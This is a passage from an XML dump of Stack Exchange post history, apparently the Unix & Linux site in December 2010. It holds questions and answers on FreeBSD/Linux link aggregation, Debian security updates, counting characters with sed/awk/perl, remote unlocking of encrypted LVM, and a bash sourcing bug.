flags=1c&lt;ACTIVE,COLLECTING,DISTRIBUTING&gt;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;if_lagg_load=&quot;YES&quot;&#xD;&#xA;ifconfig_em2=&quot;UP&quot;&#xD;&#xA;ifconfig_em3=&quot;UP&quot;&#xD;&#xA;#ifconfig_lagg0=&quot;create&quot;&#xD;&#xA;cloned_interfaces=&quot;lagg0&quot;&#xD;&#xA;ifconfig_lagg0=&quot;laggproto lacp laggport em2 laggport em3 192.168.0.1 netmask 255.255.255.252&quot;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;And eth2 and eth3 for 802.3ad bonding:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;[root@xbox ~]# ifconfig bond0&#xD;&#xA;bond0     Link encap:Ethernet  HWaddr 00:04:23:C2:C4:DA  &#xD;&#xA;          inet addr:192.168.0.2  Bcast:192.168.0.3  Mask:255.255.255.252&#xD;&#xA;          inet6 addr: fe80::204:23ff:fec2:c4da/64 Scope:Link&#xD;&#xA;          UP BROADCAST RUNNING MASTER MULTICAST  MTU:1500  Metric:1&#xD;&#xA;          RX packets:140000208 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;          TX packets:101560577 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;          collisions:0 txqueuelen:0 &#xD;&#xA;          RX bytes:3281219872 (3.0 GiB)  TX bytes:3609990240 (3.3 GiB)&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;[root@xbox network-scripts]# cat ifcfg-bond0 &#xD;&#xA;DEVICE=bond0&#xD;&#xA;IPADDR=192.168.0.2&#xD;&#xA;NETWORK=192.168.0.0&#xD;&#xA;NETMASK=255.255.255.252&#xD;&#xA;USERCTL=no&#xD;&#xA;BOOTPROTO=none&#xD;&#xA;ONBOOT=yes&#xD;&#xA;[root@xbox network-scripts]# cat ifcfg-eth2&#xD;&#xA;DEVICE=eth2&#xD;&#xA;USERCTL=no&#xD;&#xA;ONBOOT=yes&#xD;&#xA;MASTER=bond0&#xD;&#xA;SLAVE=yes&#xD;&#xA;BOOTPROTO=none&#xD;&#xA;[root@xbox network-scripts]# cat ifcfg-eth3&#xD;&#xA;DEVICE=eth3&#xD;&#xA;USERCTL=no&#xD;&#xA;ONBOOT=yes&#xD;&#xA;MASTER=bond0&#xD;&#xA;SLAVE=yes&#xD;&#xA;BOOTPROTO=none&#xD;&#xA;[root@xbox network-scripts]# tail -n2 /etc/modprobde.conf&#xD;&#xA;alias bond0 bonding&#xD;&#xA;options bond0 mode=802.3ad miimon=100&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="11040" PostHistoryTypeId="1" PostId="5008" RevisionGUID="7f23634b-23fb-443e-a825-16f200de7dc5" CreationDate="2010-12-19T16:11:55.510" UserId="3225" Text="802.3ad on FreeBSD and Linux using crossover cables?" />
  <row Id="11041" PostHistoryTypeId="3" PostId="5008" RevisionGUID="7f23634b-23fb-443e-a825-16f200de7dc5" CreationDate="2010-12-19T16:11:55.510" UserId="3225" Text="élinuxàéfreebsdà" />
  <row Id="11042" PostHistoryTypeId="2" PostId="5009" RevisionGUID="97cada6c-c668-487b-a109-4fd2a137c44a" CreationDate="2010-12-19T16:19:29.623" UserId="885" Text="Debian has a distribution channel that provides security updates only so that administrators can choose to run a stable system with only the absolute minimum of changes. Additionally, this distribution channel is kept somewhat separate from the normal channel: all security updates are fed directly from [`security.debian.org`](http://security.debian.org/), whereas it is recommended to use mirrors for everything else. This has a number of advantages. (I don't remember which of these are official motivations I read on Debian mailing lists and which are my own mini-analysis. Some of these are touched on in the [Debian security FAQ](http://www.debian.org/security/faq).)&#xD;&#xA;&#xD;&#xA;* Security updates are spread immediately, without the delay incurred by mirror updates (which can add about 1 day of propagation time).&#xD;&#xA;* Mirrors can go stale. Direct distribution avoids that problem.&#xD;&#xA;* There is less infrastructure to maintain as a critical service. Even if most of Debian's servers are unavailable and people can't install new packages, as long as `security.debian.org` points to a working server, security updates can be distributed.&#xD;&#xA;* Mirrors can be compromised (this has happened in the past). It's easier to watch a single distribution point. If an attacker managed to upload a malicious package somewhere, `security.debian.org` could push a package with a more recent version number. Depending on the nature of the exploit and the timeliness of the response, this could be enough to keep some machines uninfected or at least warn administrators.&#xD;&#xA;* Fewer people have upload rights on `security.debian.org`. This limits the possibilities for an attacker trying to subvert an account or machine in order to inject a malicious package.&#xD;&#xA;* Servers that don't need ordinary web access can be kept behind a firewall that only allows `security.debian.org` through.&#xD;&#xA;" />
  <row Id="11043" PostHistoryTypeId="6" PostId="5008" RevisionGUID="3a7506e4-6baf-47dd-b6af-ae4c8568720e" CreationDate="2010-12-19T16:58:09.963" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàéfreebsdàéethernetàébondingà" />
  <row Id="11044" PostHistoryTypeId="2" PostId="5010" RevisionGUID="71419eb3-fa57-4b9d-9236-1c9d88aac01a" CreationDate="2010-12-19T17:35:12.427" UserId="2655" Text="I would need a program, that outputs the number of the different characters in a file. Example:&#xD;&#xA;&#xD;&#xA;    &gt; stats testfile&#xD;&#xA;    ' ': 207&#xD;&#xA;    'e': 186&#xD;&#xA;    'n': 102&#xD;&#xA;&#xD;&#xA;Exists any tool, that do this?" />
  <row Id="11045" PostHistoryTypeId="1" PostId="5010" RevisionGUID="71419eb3-fa57-4b9d-9236-1c9d88aac01a" CreationDate="2010-12-19T17:35:12.427" UserId="2655" Text="How can I count the number of different characters in a file?" />
  <row Id="11046" PostHistoryTypeId="3" PostId="5010" RevisionGUID="71419eb3-fa57-4b9d-9236-1c9d88aac01a" CreationDate="2010-12-19T17:35:12.427" UserId="2655" Text="écommandölineàéfilesàétextöprocessingà" />
  <row Id="11047" PostHistoryTypeId="2" PostId="5011" RevisionGUID="8fba7b2b-4c1f-47f6-bf90-e1e4ab6e05c2" CreationDate="2010-12-19T17:44:59.433" UserId="1207" Text="The following should work:&#xD;&#xA;&#xD;&#xA;    $ sed  's/\(.\)/\1\n/g' text.txt | sort | uniq -c&#xD;&#xA;&#xD;&#xA;First, we insert a newline after every character, putting each character on its own line. Then we sort it.  Then we use the uniq command to remove the duplicates, prefixing each line with the number of occurrences of that character.&#xD;&#xA;&#xD;&#xA;To sort the list by frequency, pipe this all into `sort -nr`.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11048" PostHistoryTypeId="2" PostId="5012" RevisionGUID="cf6df1de-c399-4cba-bb91-91f24d8dd1b9" CreationDate="2010-12-19T17:51:07.023" UserId="1207" Text="When using my laptop at home, I usually use an external monitor, keyboard, and mouse with my laptop's screen as a second monitor.  This is all easily configured using a nice GNOME utility that I assumes uses xrandr on the backend.&#xD;&#xA;&#xD;&#xA;Sometimes I enjoy using my computer via a TTY.  I would like to be able to switch over to TTY1(using ctrl+alt+f1) and have the tty appear on my external monitor at the resolution of my external monitor.  Rather, it usually either appears on just my laptop screen, or on both monitors but at the resolution of my laptop's screen.&#xD;&#xA;&#xD;&#xA;Is there anyway to do this seamlessly on Ubuntu 10.10? &#xD;&#xA;&#xD;&#xA;(I'm guessing it doesn't matter, but I've set it such that screen launches automatically from `~/.profile`)." />
  <row Id="11049" PostHistoryTypeId="1" PostId="5012" RevisionGUID="cf6df1de-c399-4cba-bb91-91f24d8dd1b9" CreationDate="2010-12-19T17:51:07.023" UserId="1207" Text="TTY On External Monitor" />
  <row Id="11050" PostHistoryTypeId="3" PostId="5012" RevisionGUID="cf6df1de-c399-4cba-bb91-91f24d8dd1b9" CreationDate="2010-12-19T17:51:07.023" UserId="1207" Text="éttyàémultiömonitorà" />
  <row Id="11051" PostHistoryTypeId="2" PostId="5013" RevisionGUID="da18661f-142f-4985-9477-6d4934174d0e" CreationDate="2010-12-19T18:17:36.010" UserId="885" Text="[Steven's solution is a good, simple one.](http://unix.stackexchange.com/questions/5010/how-can-i-count-the-number-of-different-characters-in-a-file/5011#5011) It's not so performant for very large files (files that don't fit comfortably in about half your RAM) because of the sorting step. Here's an awk version. It's also a little more complicated because it tries to do the right thing for a few special characters (newlines, `'`, `\`, `:`).&#xD;&#xA;&#xD;&#xA;    awk '&#xD;&#xA;      {for (i=1; i&lt;=length; i++) ++c[substr($0,i,1)]; ++c[RS]}&#xD;&#xA;      function chr (x) {return x==&quot;\n&quot; ? &quot;\\n&quot; : x==&quot;:&quot; ? &quot;\\072&quot; :&#xD;&#xA;                               x==&quot;\\&quot; || x==&quot;'\''&quot; ? &quot;\\&quot; x : x}&#xD;&#xA;      END {for (x in c) printf &quot;'\''%s'\'': %d\n&quot;, chr(x), c[x]}&#xD;&#xA;    ' | sort -t : -k 2 -r | sed 's/\\072/:/'&#xD;&#xA;&#xD;&#xA;Here's a Perl solution on the same principle. Perl has the advantage of being able to sort internally. Also this will correctly not count an extra newline if the file does not end in a newline character.&#xD;&#xA;&#xD;&#xA;    perl -ne '&#xD;&#xA;      ++$c{$_} foreach split //;&#xD;&#xA;      END { printf &quot;'\''%s'\'': %d\n&quot;, /[\\'\'']/ ? &quot;\\$_&quot; : /./ ? $_ : &quot;\\n&quot;, $c{$_}&#xD;&#xA;            foreach (sort {$c{$b} &lt;=&gt; $c{$a}} keys %c) }'&#xD;&#xA;" />
  <row Id="11052" PostHistoryTypeId="5" PostId="5011" RevisionGUID="66f7983f-9f2f-4269-9b2d-2c91cebe13e3" CreationDate="2010-12-19T18:29:34.590" UserId="1207" Comment="removed extra space" Text="The following should work:&#xD;&#xA;&#xD;&#xA;    $ sed 's/\(.\)/\1\n/g' text.txt | sort | uniq -c&#xD;&#xA;&#xD;&#xA;First, we insert a newline after every character, putting each character on its own line. Then we sort it.  Then we use the uniq command to remove the duplicates, prefixing each line with the number of occurrences of that character.&#xD;&#xA;&#xD;&#xA;To sort the list by frequency, pipe this all into `sort -nr`.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11053" PostHistoryTypeId="2" PostId="5014" RevisionGUID="2a2323e6-342d-4ede-8a44-940161eb6594" CreationDate="2010-12-19T22:02:53.917" UserId="2362" Text="I want to put regex matches to buffer but cannot get even simpler example `y   :.put myNewBuffer` return msg `[line] [put] [buffer]` working ie how to put something to buffer?&#xD;&#xA;&#xD;&#xA;**So to regular expressions and ex**&#xD;&#xA;&#xD;&#xA; 2. what does `(.,.)~ replaces the previous regular expression with the previous replacement pattern from a substitution` mean? Some example helpful, source of the [quote][1].&#xD;&#xA; 3. please, give some examples how you use regexes with ex. For example, how can you buffer areas between starting word having `h` as the first character until the word ending to `s` character? &#xD;&#xA; 4. What about if the last thing only on a line ie ending word is the word ending to `s` or the end of line `$`?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.freebsd.org/44doc/usd/10.exref/paper.pdf" />
  <row Id="11054" PostHistoryTypeId="1" PostId="5014" RevisionGUID="2a2323e6-342d-4ede-8a44-940161eb6594" CreationDate="2010-12-19T22:02:53.917" UserId="2362" Text="Ex and Vi: buffers and regexes" />
  <row Id="11055" PostHistoryTypeId="3" PostId="5014" RevisionGUID="2a2323e6-342d-4ede-8a44-940161eb6594" CreationDate="2010-12-19T22:02:53.917" UserId="2362" Text="éviàéregularöexpressionsàébufferà" />
  <row Id="11056" PostHistoryTypeId="2" PostId="5015" RevisionGUID="bd7cd2f0-3bcb-454a-a99c-db5a0c00974b" CreationDate="2010-12-20T08:25:36.483" UserId="2871" Text="Hi,   &#xD;&#xA;As Gilles suggested, why dont you try the details in the [PowerPC_KVM][1] link.   &#xD;&#xA;They have described the whole procedure there.&#xD;&#xA;&#xD;&#xA;Thanks,   &#xD;&#xA;Sen &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linux-kvm.org/page/PowerPC_Host_Userspace" />
  <row Id="11057" PostHistoryTypeId="5" PostId="5015" RevisionGUID="53b54c58-37ac-436e-a424-6a8031bdb2ce" CreationDate="2010-12-20T08:36:14.000" UserId="2871" Comment="KVM on PPC pdf" Text="Hi,   &#xD;&#xA;As Gilles suggested, why dont you try the details in the [PowerPC_KVM][1] link.   &#xD;&#xA;They have described the whole procedure there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;Added a Document on&#xD;&#xA;[ KVM on PowerPC ][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks,   &#xD;&#xA;Sen&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linux-kvm.org/page/PowerPC_Host_Userspace&#xD;&#xA;  [2]: http://alex.csgraf.de/clt/2010/PowerPC%20KVM.pdf" />
  <row Id="11058" PostHistoryTypeId="6" PostId="5014" RevisionGUID="8d0b669a-bbdb-406c-a244-89f8f1282d9a" CreationDate="2010-12-20T09:01:22.907" UserId="73" Comment="edited tags" Text="éviàébufferàéregexà" />
  <row Id="11059" PostHistoryTypeId="5" PostId="4903" RevisionGUID="8da160ba-5f75-43e7-bbb5-e1eb151ca2df" CreationDate="2010-12-20T10:32:48.303" UserId="3158" Comment="added 620 characters in body" Text="I want to install kvm on debian(lenny). I have learned that the kvm and qemu-kvm packages are [not available](http://packages.debian.org/search?suite=default&amp;section=all&amp;arch=any&amp;searchon=names&amp;keywords=kvm) for the powerpc architecture.  &#xD;&#xA;  &#xD;&#xA;I have found two packages (kvm-source and [Edit1]qemu) and installed it, but I don't know how to proceed with it further. How do I install kvm on powerpc? Do I need to install libvirt-kvm as well?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[Edit1]:  &#xD;&#xA;Approach1: I downloaded qemu-kvm source code (http://sourceforge.net/projects/kvm/files/qemu-kvm/0.13.0/qemu-kvm-0.13.0.tar.gz/download) , configured  &#xD;&#xA;&#xD;&#xA;    #./configure --target-list=&quot;ppc-softmmu&quot; &#xD;&#xA;    #make  &#xD;&#xA;&#xD;&#xA;But I am getting this error:&#xD;&#xA;&#xD;&#xA;    CC    ppc-softmmu/virtio-pci.o&#xD;&#xA;    ~/qemu-kvm-0.13.0/hw/virtio-pci.c: In function 'virtio_pci_mask_notifier':&#xD;&#xA;    ~/qemu-kvm-0.13.0/hw/virtio-pci.c:436: error: invalid use of undefined &#xD;&#xA;    type 'struct kvm_irq_routing_entry'&#xD;&#xA;    ~/qemu-kvm-0.13.0/hw/virtio-pci.c:436: error: dereferencing pointer to &#xD;&#xA;    incomplete type&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11060" PostHistoryTypeId="5" PostId="5008" RevisionGUID="4408e6b2-05bd-4a3e-b56e-b78ee258836b" CreationDate="2010-12-20T12:37:11.997" UserId="3225" Comment="Added first EDIT note at bottom." Text="I have setup a NFS server on FreeBSD 8.1, which will be serving one Linux client.  Each box has a dual-port 1gig fiber card, and each box is directly connected to the other over this link.  There is no switch involved.&#xD;&#xA;&#xD;&#xA;I suppose that my question is, since both FreeBSD and Linux support 802.3ad, is the following the right way to configure this, when not using a switch?  Or is there a better way?  Is this even supported?&#xD;&#xA;&#xD;&#xA;With this setup, I am able to ping between the hosts, transfer files over NFS, etc.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;FreeBSD  em2 &amp;lt;-&gt; eth2 Linux &#xD;&#xA;         em3 &amp;lt;-&gt; eth3&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I have configured em2 and em3 for 802.3ad (lacp):&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;lagg0: flags=8843&lt;UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST&gt; metric 0 mtu 1500&#xD;&#xA; options=9b&lt;RXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING,VLAN_HWCSUM&gt;&#xD;&#xA; ether 00:04:23:c2:c2:e0&#xD;&#xA; inet 192.168.0.1 netmask 0xfffffffc broadcast 192.168.0.3&#xD;&#xA; media: Ethernet autoselect&#xD;&#xA; status: active&#xD;&#xA; laggproto lacp&#xD;&#xA; laggport: em3 flags=1c&lt;ACTIVE,COLLECTING,DISTRIBUTING&gt;&#xD;&#xA; laggport: em2 flags=1c&lt;ACTIVE,COLLECTING,DISTRIBUTING&gt;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;if_lagg_load=&quot;YES&quot;&#xD;&#xA;ifconfig_em2=&quot;UP&quot;&#xD;&#xA;ifconfig_em3=&quot;UP&quot;&#xD;&#xA;#ifconfig_lagg0=&quot;create&quot;&#xD;&#xA;cloned_interfaces=&quot;lagg0&quot;&#xD;&#xA;ifconfig_lagg0=&quot;laggproto lacp laggport em2 laggport em3 192.168.0.1 netmask 255.255.255.252&quot;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;And eth2 and eth3 for 802.3ad bonding:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;[root@xbox ~]# ifconfig bond0&#xD;&#xA;bond0     Link encap:Ethernet  HWaddr 00:04:23:C2:C4:DA  &#xD;&#xA;          inet addr:192.168.0.2  Bcast:192.168.0.3  Mask:255.255.255.252&#xD;&#xA;          inet6 addr: fe80::204:23ff:fec2:c4da/64 Scope:Link&#xD;&#xA;          UP BROADCAST RUNNING MASTER MULTICAST  MTU:1500  Metric:1&#xD;&#xA;          RX packets:140000208 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;          TX packets:101560577 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;          collisions:0 txqueuelen:0 &#xD;&#xA;          RX bytes:3281219872 (3.0 GiB)  TX bytes:3609990240 (3.3 GiB)&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;[root@xbox network-scripts]# cat ifcfg-bond0 &#xD;&#xA;DEVICE=bond0&#xD;&#xA;IPADDR=192.168.0.2&#xD;&#xA;NETWORK=192.168.0.0&#xD;&#xA;NETMASK=255.255.255.252&#xD;&#xA;USERCTL=no&#xD;&#xA;BOOTPROTO=none&#xD;&#xA;ONBOOT=yes&#xD;&#xA;[root@xbox network-scripts]# cat ifcfg-eth2&#xD;&#xA;DEVICE=eth2&#xD;&#xA;USERCTL=no&#xD;&#xA;ONBOOT=yes&#xD;&#xA;MASTER=bond0&#xD;&#xA;SLAVE=yes&#xD;&#xA;BOOTPROTO=none&#xD;&#xA;[root@xbox network-scripts]# cat ifcfg-eth3&#xD;&#xA;DEVICE=eth3&#xD;&#xA;USERCTL=no&#xD;&#xA;ONBOOT=yes&#xD;&#xA;MASTER=bond0&#xD;&#xA;SLAVE=yes&#xD;&#xA;BOOTPROTO=none&#xD;&#xA;[root@xbox network-scripts]# tail -n2 /etc/modprobde.conf&#xD;&#xA;alias bond0 bonding&#xD;&#xA;options bond0 mode=802.3ad miimon=100&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;*EDIT*:  I've found that, on the FreeBSD box, the MAC addresses of em2 and em3 are the same, where-as on the Linux box, the MAC addresses of eth2 and eth3 are different." />
  <row Id="11061" PostHistoryTypeId="2" PostId="5016" RevisionGUID="d1b84aea-bd07-4242-b5a7-628ea2f97443" CreationDate="2010-12-20T13:06:04.277" UserId="29" Text="I found [this](http://www.techradar.com/news/software/operating-systems/the-future-of-kde-718510?artc_pg=2)&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;One annoyance of the free desktop at present is the use of incompatible systems for storing sensitive user data such as passwords. Every web browser may have its own password store and anyone using both KDE and Gnome applications will likely have to open both KWallet and Gnome Keyring in every desktop session.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Michael Leupold presented a collaboration between KDE and Gnome to develop a unified standard for storing secrets. The aim is that KDE and Gnome applications will both be able to share a common secrets architecture but still have separate graphical interfaces.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;A KDE user will be presented with a KDE interface if they need to unlock an account in Empathy (the Gnome instant messaging application) while a Gnome user will see a Gnome interface for password management even if they prefer to chat using KDE's Kopete. It is also hoped that the standard will attract the support of other vendors, such as Mozilla.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;[this](http://www.confuego.org/archives/21-fd.o-secret-storage-project.html) seems older, but might be a link to the [actual project?](http://www.freedesktop.org/wiki/Specifications/secret-storage-spec)&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;After having hinted at it now and then, I can finally gladly announced that we (GNOME Keyring + KDE Wallet) managed to kick off a joint freedesktop.org project with the goal of creating a common infrastructure (or more technically: protocol) for managing passwords and other secret values.&#xD;&#xA;&lt;/blockquote&gt;" />
  <row Id="11062" PostHistoryTypeId="2" PostId="5017" RevisionGUID="7ce5bcff-3d12-4a5c-ae50-d73103d9bbc3" CreationDate="2010-12-20T14:18:31.730" UserId="1375" Text="When I installed Ubuntu 10.04 and, now, 10.10, I was offered the option of enabling &quot;encrypted LVM&quot; for my hard drive.&#xD;&#xA;After choosing that option, I am prompted for my password during boot to decrypt the LVM.&#xD;&#xA;&#xD;&#xA;Now, I am thinking about setting up a headless server that runs Linux (not necessarily Ubuntu), but I am worried that since the server is headless I won't be able to decrypt it during startup. Would I be able to SSH in during boot to enter my password for the encrypted LVM? If so how do I set it up? Or is there another solution? Again this question is NOT specific to Ubuntu.&#xD;&#xA;Thanks." />
  <row Id="11063" PostHistoryTypeId="1" PostId="5017" RevisionGUID="7ce5bcff-3d12-4a5c-ae50-d73103d9bbc3" CreationDate="2010-12-20T14:18:31.730" UserId="1375" Text="SSH to decrypt encrypted LVM during headless server boot?" />
  <row Id="11064" PostHistoryTypeId="3" PostId="5017" RevisionGUID="7ce5bcff-3d12-4a5c-ae50-d73103d9bbc3" CreationDate="2010-12-20T14:18:31.730" UserId="1375" Text="ésshàébootàéencryptionàélvmàéheadlessà" />
  <row Id="11069" PostHistoryTypeId="2" PostId="5019" RevisionGUID="61ad899b-4ee4-46bb-8948-22ce98ae93eb" CreationDate="2010-12-20T16:08:22.617" UserId="305" Text="KVM uses hardware acceleration. Usually it provides support for emulating only itself (i.e. Intel VT-x emulates Intel processors etc.) and I would be highly surprised it PowerPC provided any emulation of Intel processors (as it would require duplicating Intel functionality in PPC processor largly increasing cost and size of such unit).&#xD;&#xA;&#xD;&#xA;However there are planned ports of KVM to PowerPC architecture which would allow to emulate PowerPC systems on PowerPC CPU efficiently." />
  <row Id="11070" PostHistoryTypeId="2" PostId="5020" RevisionGUID="3c213d7c-fb3c-4958-a182-0af28ef10b41" CreationDate="2010-12-20T16:17:05.337" UserId="3069" Text="I think [early-ssh][1] provides what you're searching for:&#xD;&#xA;&#xD;&#xA;    Early-ssh is a simple initramfs hook, which installs Dropbear SSH server into  &#xD;&#xA;    your initramfs, and starts it at boottime, so you will be able to do a lot of  &#xD;&#xA;    things remotely over SSH, before your root partition gets mounted, for example:&#xD;&#xA;&#xD;&#xA;    * unlocking LUKS encrypted crypto devices - &#xD;&#xA;      even your root can be an encrypted filesystem&#xD;&#xA;    * assembling/altering RAID arrays (mdadm)&#xD;&#xA;    * checking the root filesystem in read-write mode, &#xD;&#xA;      taking action in case of errors&#xD;&#xA;    * and so on...&#xD;&#xA;&#xD;&#xA;There is already a .deb package available, so you're probably fine with Ubuntu.&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.kakaopor.hu/early-ssh/" />
  <row Id="11071" PostHistoryTypeId="2" PostId="5021" RevisionGUID="87cd0946-e017-4990-8f5a-763386034acc" CreationDate="2010-12-20T17:18:36.667" UserId="3234" Text="I am currently working on a project that involves running the lift framework on a sun sparc64 architecture.  Due to limited support from more popular unix distros, I am running NetBSD 64-bit on the system. &#xD;&#xA;&#xD;&#xA;Before i can even tackle trying to install lift, I have to be able to install java on this system.  I found that OpenJDK is what I should be using. Through all my digging, I can't seem to get a straight answer on compatibility or installation for this specific setup.  Also if i am to find a compatible version, what kind of route am I to take in terms of installation (i.e. pkg_add, pksrc or compiling the code myself)  Can anyone shine a light on the subject or am I just on a wild goose chase to nowhere?" />
  <row Id="11072" PostHistoryTypeId="1" PostId="5021" RevisionGUID="87cd0946-e017-4990-8f5a-763386034acc" CreationDate="2010-12-20T17:18:36.667" UserId="3234" Text="Installing OpenJDK on a Netbsd Sparc64 Server" />
  <row Id="11073" PostHistoryTypeId="3" PostId="5021" RevisionGUID="87cd0946-e017-4990-8f5a-763386034acc" CreationDate="2010-12-20T17:18:36.667" UserId="3234" Text="éjavaàénetbsdà" />
  <row Id="11074" PostHistoryTypeId="2" PostId="5022" RevisionGUID="b4d3e7eb-8505-4caa-94d9-52187553a18f" CreationDate="2010-12-20T17:56:34.980" UserId="3235" Text="In your hands-on experience, what are the best Linux productivity tools, in particular I'm looking for tools (command-line) that can help me aggregate a lot of log files in one view (something like tail -f x 20 ).&#xD;&#xA;&#xD;&#xA;I am also looking for a tool, or tools for effectively monitoring tenths of processes without having to run &quot;jobs&quot; or &quot;ps&quot; command every n secs x num of procs.&#xD;&#xA;&#xD;&#xA;Any other tool recommendations that help automate sysadmin tasks on Linux **are very &#xD;&#xA;welcome.**" />
  <row Id="11075" PostHistoryTypeId="1" PostId="5022" RevisionGUID="b4d3e7eb-8505-4caa-94d9-52187553a18f" CreationDate="2010-12-20T17:56:34.980" UserId="3235" Text="Best Linux productivity tools" />
  <row Id="11076" PostHistoryTypeId="3" PostId="5022" RevisionGUID="b4d3e7eb-8505-4caa-94d9-52187553a18f" CreationDate="2010-12-20T17:56:34.980" UserId="3235" Text="élinuxàéprocessàéadministrationàéutilölinuxà" />
  <row Id="11077" PostHistoryTypeId="10" PostId="5022" RevisionGUID="ca8a7e2e-410c-4a3e-b44f-1c04fa86322d" CreationDate="2010-12-20T18:08:48.410" UserId="73" CloseReasonId="4" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="11078" PostHistoryTypeId="2" PostId="5023" RevisionGUID="9e885356-f6d8-4786-91f9-c2e64bce024b" CreationDate="2010-12-20T18:24:49.927" UserId="1020" Text="Well I've fixed this for myself, though I'm unsure of the exact cause still.&#xD;&#xA;&#xD;&#xA;I have Pandora One installed on my machine, and I noticed last week that it was running at startup/login. I generally dislike having applications run at startup unless they're actually necessary for general functionality, so I took it out of my startup lists. Since then, this problem has stopped occurring.&#xD;&#xA;&#xD;&#xA;My guess is that either Pandora or Adobe AIR as a whole was grabbing my sound card at startup and locking it full on, then not resetting the levels/releasing it after exiting. Why it would be doing this, I have no idea, but that's the best I can come up with at this point. I did install Pandora before I went from F13 to F14, so that would explain why the problem persisted across versions/installs. This is just a guess, though, so if anyone can provide a legitimate explanation then I'm all ears." />
  <row Id="11079" PostHistoryTypeId="2" PostId="5024" RevisionGUID="adf74313-f562-4e4c-9b7e-8be28607a0f6" CreationDate="2010-12-20T18:44:07.277" UserId="2689" Text="Suppose I have in main.sh:&#xD;&#xA;&#xD;&#xA;    $NAME=&quot;a string&quot;&#xD;&#xA;    if [ -f $HOME/install.sh ]&#xD;&#xA;        . $HOME/install.sh $NAME&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;and in install.sh:&#xD;&#xA;&#xD;&#xA;    echo $1&#xD;&#xA;&#xD;&#xA;This is supposed to echo `&quot;a string&quot;`, but it echoes nothing. Why?&#xD;&#xA;" />
  <row Id="11080" PostHistoryTypeId="1" PostId="5024" RevisionGUID="adf74313-f562-4e4c-9b7e-8be28607a0f6" CreationDate="2010-12-20T18:44:07.277" UserId="2689" Text="Passing a variable to a bash script when sourcing it in another bash script?" />
  <row Id="11081" PostHistoryTypeId="3" PostId="5024" RevisionGUID="adf74313-f562-4e4c-9b7e-8be28607a0f6" CreationDate="2010-12-20T18:44:07.277" UserId="2689" Text="ébashàésourceàéfunctionà" />
  <row Id="11082" PostHistoryTypeId="2" PostId="5025" RevisionGUID="616e3c6b-37ec-4f11-a3a9-a67cb17a2640" CreationDate="2010-12-20T18:54:11.867" UserId="73" Text="I see two errors:&#xD;&#xA;&#xD;&#xA;1. Your assignment line is wrong:&#xD;&#xA;&#xD;&#xA;        $NAME=&quot;a string&quot;&#xD;&#xA;&#xD;&#xA;  When you assign to a variable you don't include the `$`; it should be:&#xD;&#xA;&#xD;&#xA;        NAME=&quot;a string&quot;&#xD;&#xA;&#xD;&#xA;2. You're missing `then`; the conditional line should be:&#xD;&#xA;&#xD;&#xA;        if [ -f $HOME/install.sh ]; then" />
  <row Id="11083" PostHistoryTypeId="2" PostId="5026" RevisionGUID="0e750409-948a-4002-8bd4-2b3f65c68e38" CreationDate="2010-12-20T18:56:16.200" UserId="2661" Text="How can I create bootable usb stick with NetBSD installer on Linux?&#xD;&#xA;&#xD;&#xA;I tried to use [UNetBootin][1], but on download list there is only 4.0 version and when I select my ISO with 5.1 version it doesn't work (it create only few config files) . Other instruction that I found was NetBSD specific and I don't have NetBSD installed...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unetbootin.sourceforge.net/" />
  <row Id="11084" PostHistoryTypeId="1" PostId="5026" RevisionGUID="0e750409-948a-4002-8bd4-2b3f65c68e38" CreationDate="2010-12-20T18:56:16.200" UserId="2661" Text="Creating bootable usb stick with NetBSD installer on Linux" />
  <row Id="11085" PostHistoryTypeId="3" PostId="5026" RevisionGUID="0e750409-948a-4002-8bd4-2b3f65c68e38" CreationDate="2010-12-20T18:56:16.200" UserId="2661" Text="éusbàénetbsdà" />
